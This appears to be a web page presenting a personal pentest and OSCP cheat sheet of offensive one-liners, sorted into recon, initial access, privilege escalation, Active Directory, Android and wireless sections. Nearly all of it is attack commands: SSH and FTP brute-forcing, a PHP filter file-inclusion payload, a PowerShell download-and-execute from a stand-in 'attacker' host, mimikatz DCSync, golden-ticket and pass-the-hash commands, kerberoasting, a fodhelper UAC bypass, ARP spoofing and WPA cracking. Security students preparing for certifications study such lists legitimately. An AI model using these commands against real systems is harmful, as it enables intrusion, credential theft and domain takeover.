>_ shadow.red
root@shadow:~$ echo "Your Path to Pentester Role" > backdoor.php

universal pentest
& OSCP cheatsheet 

Personal large collection of pentesting commands, techniques and one-liners. Filter by category, OS, or search.

[01] Reconnaissance Alert! To view more content, click the description below a terminal command. 42
nmap -sV --script=banner target
Service Enumeration linux
dnsrecon -d hackersploit.org
DNS & WHOIS linux
dnsenum google.com
DNS & WHOIS linux
hydra -L users -P pass target ftp
Service Enumeration linux
feroxbuster -u target
Web Content Discovery linux
ldapsearch -x -H ldap://target -s base
Service Enumeration linux
smbclient -L //target -U user
Service Enumeration linux
smbmap -H target -u user -p pass
Service Enumeration linux
hydra -L users -P pass target ssh
Service Enumeration linux
crackmapexec winrm target -u user -p pass
Service Enumeration linux
[02] Initial Access Alert! To view more content, click the description below a terminal command. 31
curl 'target/page=php://filter/convert.base64-encode/resource=admin.php'
Web Attacks linux
[03] Privilege Escalation Alert! To view more content, click the description below a terminal command. 49
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Windows Misc windows
GodPotato.exe -cmd cmd.exe
Windows Tokens windows
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1
Windows Tools windows
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Windows Credentials windows
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerUp.ps1');Invoke-AllChecks
Windows Tools windows
.\SweetPotato.exe -p test.bat
Windows Tokens windows
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Windows Services windows
./windows-exploit-suggester.py --database 2021-12-26-mssb.xls --systeminfo systeminfo.txt
Windows Tools windows linux
.\winPEAS.exe
Windows Tools windows
[04] Active Directory Alert! To view more content, click the description below a terminal command. 46
crackmapexec smb target -u users.txt -p 'Pass!' --continue-on-success
AD Attacks linux
python3 username-generate.py -u names.txt -o generated_users.txt
AD Enumeration linux
impacket-GetNPUsers domain/ -dc-ip target -usersfile users.txt
AD Attacks linux windows
lsadump::dcsync /user:domain\user
AD Attacks linux windows
kerberos::golden /user:user /domain:domain /sid:SID /krbtgt:hash /ptt
AD Attacks windows
. .\HostRecon.ps1; Invoke-HostRecon
AD Enumeration windows
impacket-GetUserSPNs -request domain/user:pass -dc-ip target
AD Attacks linux windows
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:powershell
AD Attacks windows
.\Rubeus.exe kerberoast /outfile:hashes.txt
AD Attacks windows
msfconsole use exploit/windows/smb/smb_relay
AD Attacks linux
kerberos::golden /sid:SID /domain:domain /target:host /service:svc /rc4:hash /user:user /ptt
AD Attacks windows
.\StandIn.exe --gpo --filter "Default Domain Policy" --localadmin user
AD Attacks windows
" reg, fodhelper ad-attacks active directory">
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "<encoded payload>"
AD Attacks windows
[05] Everywhere Tunnels Alert! To view more content, click the description below a terminal command. 19
[06] Android Alert! To view more content, click the description below a terminal command. 43
apktool d target_app.apk -o output_apktool
Static Analysis linux windows
androguard analyze appka.apk
Static Analysis linux
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=55555
Vulnerabilities linux windows
adb shell am start -a android.intent.action.VIEW "allsafe://infosecadventures/congrats"
Vulnerabilities linux windows
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida
Frida linux windows
adb push frida-server-17.2.16-android-arm64 /data/local/tmp/frida-server
Frida linux
adb shell am startservice infosecadventures.allsafe/.challenges.RecorderService
Vulnerabilities linux windows
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=http://192.168.1.14:9090/test.html"
Vulnerabilities linux windows
adb logcat
Logging linux windows
adb push C:\Users\user\Desktop\user.dat /sdcard/Android/data/infosecadventures.allsafe/files/
Extra linux windows
adb shell settings put global http_proxy <host-ip>:8080
Burp Suite linux windows
adb shell screencap -p /data/local/tmp/test1.png
Extra linux windows
apksigner sign --ks my-release-key.jks --in demo_malware.apk --out demo_malware2.apk
Repackaging linux windows
[07] Wireless Alert! To view more content, click the description below a terminal command. 23
arpspoof -i wlan0 -t [target ip] [router ip] -r
Sniffing linux
echo 1 > /proc/sys/net/ipv4/ip_forward
Sniffing linux
sudo aireplay-ng -9 -e ninja-wifi -a 14:15:BS:14:BS:15 wlan0mon
Setup linux
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e networkname -b BS:ID:BS:ID:BS:ID wpa-01.cap
Extra linux